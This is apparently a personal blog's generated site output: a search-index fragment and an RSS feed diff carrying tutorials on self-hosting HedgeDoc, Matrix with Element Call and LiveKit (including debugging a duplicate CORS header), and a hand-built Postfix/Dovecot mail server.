style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-env\" data-lang=\"env\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOSTGRES_PASSWORD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eChangeThisStrongPassword\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHD_DOMAIN\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003enotes.alipourimjourneys.ir\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGenerate a strong password with:\u003c/p\u003e","title":"Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt"},{"content":" TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.\nWhat I\u0026rsquo;m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\nPrereqs DNS A/AAAA: matrix.example.com → your server (v4/v6) rtc.example.com → your server (v4/v6) Certificates: matrix.example.com and rtc.example.com via Let’s Encrypt on the host Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets \u0026amp; UDP work without interference. UFW / firewall open: 80/tcp, 443/tcp 8448/tcp (Matrix federation) 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS) LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range) Docker + docker compose installed. Synapse + PostgreSQL 1) The PostgreSQL collation gotcha Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:\nDatabase has incorrect collation of \u0026#39;en_US.utf8\u0026#39;. Should be \u0026#39;C\u0026#39; Two ways to resolve:\nPreferred (clean): Re-initialize the Postgres cluster with C and UTF-8: # docker-compose.yml (excerpt for Postgres) services: db: image: postgres:16 environment: POSTGRES_DB: synapse POSTGRES_USER: synapse POSTGRES_PASSWORD: \u0026lt;strong-password\u0026gt; POSTGRES_INITDB_ARGS: \u0026#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C\u0026#34; volumes: - ./pgdata:/var/lib/postgresql/data Requires wiping the volume and recreating the DB.\nPragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster. 2) Start Synapse and generate config docker compose up -d db synapse # Logs docker compose logs --tail=200 synapse Ensure Synapse prints your server_name and public base URL and stays up.\n3) Create an admin user # Exec into the running Synapse container: docker compose exec synapse register_new_matrix_user \\ -c /data/homeserver.yaml -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; \\ -a -k If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.\nTURN (coTURN) 1) Avoid bad inline comments If you see errors like:\nERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.\n2) Minimal turnserver.conf listening-port=3478 tls-listening-port=5349 fingerprint use-auth-secret static-auth-secret=\u0026lt;shared-secret\u0026gt; # also set in Synapse realm=example.com # used in creds generation total-quota=0 bps-capacity=0 cli-password=\u0026lt;admin-pass\u0026gt; no-cli cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem # If behind NAT: # external-ip=\u0026lt;public-ip\u0026gt;/\u0026lt;internal-ip\u0026gt; 3) Wire TURN into Synapse In homeserver.yaml:\nturn_uris: - \u0026#34;turn:turn.example.com?transport=udp\u0026#34; - \u0026#34;turn:turn.example.com?transport=tcp\u0026#34; - \u0026#34;turns:turn.example.com:5349?transport=tcp\u0026#34; turn_shared_secret: \u0026#34;\u0026lt;shared-secret\u0026gt;\u0026#34; turn_user_lifetime: \u0026#34;1d\u0026#34; Verify the homeserver issues TURN creds:\nTOKEN=\u0026#39;\u0026lt;your matrix access token\u0026gt;\u0026#39; curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq You should see uris, a time-limited username and password.\nNginx (host) for Synapse and federation Create /etc/nginx/conf.d/matrix.conf:\n# Client traffic on 443 server { listen 443 ssl; listen [::]:443 ssl; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; # Proxy client \u0026amp; admin APIs to Synapse (container) on 8008 location ~ ^(/_matrix|/_synapse/client) { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } # Advertise homeserver base + RTC focus (MSC4143) via .well-known location = /.well-known/matrix/client { default_type application/json; add_header Access-Control-Allow-Origin \u0026#34;*\u0026#34; always; return 200 \u0026#39;{\u0026#34;m.homeserver\u0026#34;:{\u0026#34;base_url\u0026#34;:\u0026#34;https://matrix.example.com\u0026#34;},\u0026#34;org.matrix.msc4143.rtc_foci\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;livekit\u0026#34;,\u0026#34;livekit_service_url\u0026#34;:\u0026#34;https://rtc.example.com\u0026#34;}]}\u0026#39;; } } # Federation on 8448 server { listen 8448 ssl http2; listen [::]:8448 ssl http2; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; location / { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } } Reload and sanity check:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -s https://matrix.example.com/.well-known/matrix/client | jq Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:\ncurl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # expect: true Element Call + LiveKit I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.\n1) LiveKit config (/etc/livekit.yaml inside container) port: 7880 bind_addresses: [\u0026#34;0.0.0.0\u0026#34;] rtc: tcp_port: 7881 port_range_start: 50100 port_range_end: 50200 use_external_ip: true logging: level: info turn: enabled: false keys: lk_prod_1: \u0026#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________\u0026#34; Important: the secret must be \u0026gt;= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.\n2) elementcall_jwt env Run it with:\nLIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path) LIVEKIT_KEY=lk_prod_1 LIVEKIT_SECRET=\u0026lt;the long secret above\u0026gt; LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit) Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup Check logs on start; it prints the LIVEKIT_URL it will advertise.\n3) Nginx (host) for rtc.example.com Create /etc/nginx/conf.d/rtc.conf:\nserver { listen 443 ssl; listen [::]:443 ssl; server_name rtc.example.com; ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; access_log /var/log/nginx/rtc.access.log combined; # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) location = /sfu/get { proxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; add_header Access-Control-Allow-Methods \u0026#34;POST, OPTIONS\u0026#34; always; add_header Access-Control-Allow-Headers \u0026#34;Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\u0026#34; always; if ($request_method = OPTIONS) { return 204; } proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt } # 3b) LiveKit WS \u0026amp; HTTP (catch-all) location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # \u0026#34;livekit\u0026#34; proxy_set_header Origin $http_origin; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_buffering off; proxy_read_timeout 3600s; proxy_pass http://127.0.0.1:7880; # livekit } } Reload and basic checks:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx # JWT preflight (should return a single ACAO header) curl -si -X OPTIONS https://rtc.example.com/sfu/get \\ -H \u0026#39;Origin: https://app.element.io\u0026#39; \\ -H \u0026#39;Access-Control-Request-Method: POST\u0026#39; \\ -H \u0026#39;Access-Control-Request-Headers: authorization, content-type\u0026#39; | sed -n \u0026#39;1,30p\u0026#39; # Expected: one Access-Control-Allow-Origin and 200/204 Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.\nThe “waiting for media” debugging story (how I found it) Symptom: Element Call created rooms, but calls stayed on “waiting for media.”\nWhat worked:\nelementcall_jwt could CreateRoom in LiveKit (seen in logs). TURN creds endpoint returned time-limited credentials. What didn’t appear:\nNo HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit. Step 1: prove the WS vhost works (even without auth) curl -v --http1.1 \\ -H \u0026#39;Connection: Upgrade\u0026#39; -H \u0026#39;Upgrade: websocket\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Version: 13\u0026#39; \\ https://rtc.example.com/rtc -o /dev/null Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.\nStep 2: check the browser console The smoking gun in DevTools:\nAccess-Control-Allow-Origin cannot contain more than one origin. Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.\nFix: in Nginx I added:\nproxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).\nStep 3: confirm LiveKit side Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.\nUseful verification commands # Synapse features (expect MSC4140 true) curl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # Well-known with RTC focus curl -s https://matrix.example.com/.well-known/matrix/client | jq # TURN creds (with your access token) curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq # JWT health curl -si -X POST https://rtc.example.com/sfu/get # LiveKit simple HTTP probe curl -si https://rtc.example.com | head # Nginx logs (look for 101 Switching Protocols when a call starts) sudo tail -f /var/log/nginx/rtc.access.log | grep \u0026#39; 101 \u0026#39; Common pitfalls (I hit these so you don’t have to) Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers. Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it). Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained). Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly. CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location. Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths. Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6. Final checklist (print me) https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com. /_matrix/client/versions shows \u0026quot;org.matrix.msc4140\u0026quot;: true. /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204. Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log. LiveKit logs show participants joining (not just CreateRoom). /voip/turnServer returns time-limited TURN credentials. Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range. Credits \u0026amp; tooling Matrix Synapse, coTURN, LiveKit, Element Call. curl, jq, docker compose logs, Nginx access logs. These are your best friends. The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs. Happy calling! 🎉\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu\u0026#43;0un0FiIfHKtFPcXd2HiVqzODu YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3 PIe\u0026#43;zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa SVJbwubie1D9TPcXU3ynC\u0026#43;ynNBcmVevFl7g/X7Ie8Pw0SP1dJF\u0026#43;we5iVqUrZgPO2 AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5\u0026#43;HjkoIaZDtSfFyt\u0026#43;AwPdHDQ m3sMXA7yZUvy\u0026#43;pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq\u0026#43;yxtCuXBF fPWo5pL0rMtIfwRyaiiX9bwV\u0026#43;WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR 7yoN0vqhKSvZlAL1OQS\u0026#43;4yRcXnguq7UY9UF\u0026#43;drG0f0QpC3aht1QgrJ04gvDp2BOk ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl\u0026#43;ZMvwobQqH Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu\u0026#43;Qt4h9gZ2w6 Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss= =yHZZ -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc gpg --verify matrix_setup.md.asc matrix_setup.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR: The call kept saying \u003cstrong\u003e“waiting for media”\u003c/strong\u003e because the browser never opened a WebSocket to LiveKit. The root cause was \u003cstrong\u003eduplicate \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e headers\u003c/strong\u003e on \u003ccode\u003e/sfu/get\u003c/code\u003e (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP \u003cstrong\u003e101\u003c/strong\u003e in logs) solved it.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"what-im-building\"\u003eWhat I\u0026rsquo;m building\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA \u003cstrong\u003eMatrix homeserver\u003c/strong\u003e (Synapse) at \u003ccode\u003ematrix.example.com\u003c/code\u003e (replace with your domain).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTURN/STUN\u003c/strong\u003e (coTURN) for NAT traversal.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eElement Call\u003c/strong\u003e backed by \u003cstrong\u003eLiveKit\u003c/strong\u003e, fronted by \u003ccode\u003ertc.example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx (host)\u003c/strong\u003e as the single reverse proxy for everything.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCloudflare\u003c/strong\u003e DNS (with \u003ccode\u003ertc.*\u003c/code\u003e set to \u003cstrong\u003eDNS-only\u003c/strong\u003e, no orange cloud).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUFW\u003c/strong\u003e firewall opened for Matrix federation, TURN, and LiveKit media ports.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used \u003cstrong\u003ehost\u003c/strong\u003e Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\u003c/p\u003e","title":"Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)"},{"content":"This is a test hello world post just to make sure everything works!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY\u0026#43;8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX\u0026#43;uFYE B3ioZqc4wJyDFaGWO\u0026#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX\u0026#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg\u0026#43;XbAG6A0KI7nO5TS464/JkU1\u0026#43;d/inWjXmSkocTep9p1H/M\u0026#43;nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE\u0026#43;AcGR7cb9CxicTuzs8K\u0026#43;kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B\u0026#43;5rhDP4uT 6Q1OmbB4xs7jM\u0026#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/","summary":"\u003cp\u003eThis is a test hello world post just to make sure everything works!\u003c/p\u003e\n\u003chr\u003e\n\u003cdiv class=\"signature-block\" style=\"margin-top:1rem\"\u003e\n \u003cp\u003e\u003cstrong\u003eDownloads:\u003c/strong\u003e\n \u003ca href=\"/sources/posts/hello-world.md\"\u003eMarkdown\u003c/a\u003e ·\n \u003ca href=\"/sources/posts/hello-world.md.asc\"\u003eSignature (.asc)\u003c/a\u003e\n \u003c/p\u003e\u003cdetails class=\"signature\"\u003e\n \u003csummary\u003eView OpenPGP signature\u003c/summary\u003e\n \u003cpre style=\"font-size:0.85em; overflow-x:auto; padding:0.75rem;\"\u003e-----BEGIN PGP SIGNATURE-----\n\niQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM\njSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY\u0026#43;8puTLs6Na2t7\nSfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB\nIOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX\u0026#43;uFYE\nB3ioZqc4wJyDFaGWO\u0026#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC\nroZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ\ndSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX\u0026#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ\nNZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc\n62eMm1khV99Gljg\u0026#43;XbAG6A0KI7nO5TS464/JkU1\u0026#43;d/inWjXmSkocTep9p1H/M\u0026#43;nt\n7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE\u0026#43;AcGR7cb9CxicTuzs8K\u0026#43;kLzQBQSep\noy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B\u0026#43;5rhDP4uT\n6Q1OmbB4xs7jM\u0026#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=\n=kuAP\n-----END PGP SIGNATURE-----\n\u003c/pre\u003e\n \u003c/details\u003e\u003cp\u003e\u003cem\u003eVerify locally:\u003c/em\u003e\u003c/p\u003e\n \u003cpre style=\"font-size:0.85em; overflow-x:auto; padding:0.75rem;\"\u003etorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hello-world.md.asc\ngpg --verify hello-world.md.asc hello-world.md\n \u003c/pre\u003e\n\u003c/div\u003e","title":"Hello World"}] \ No newline at end of file diff --git a/public-onion/index.xml b/public-onion/index.xml new file mode 100644 index 0000000..6b84b26 --- /dev/null +++ b/public-onion/index.xml @@ -0,0 +1,6576 @@ + + + + AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ + Recent content on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

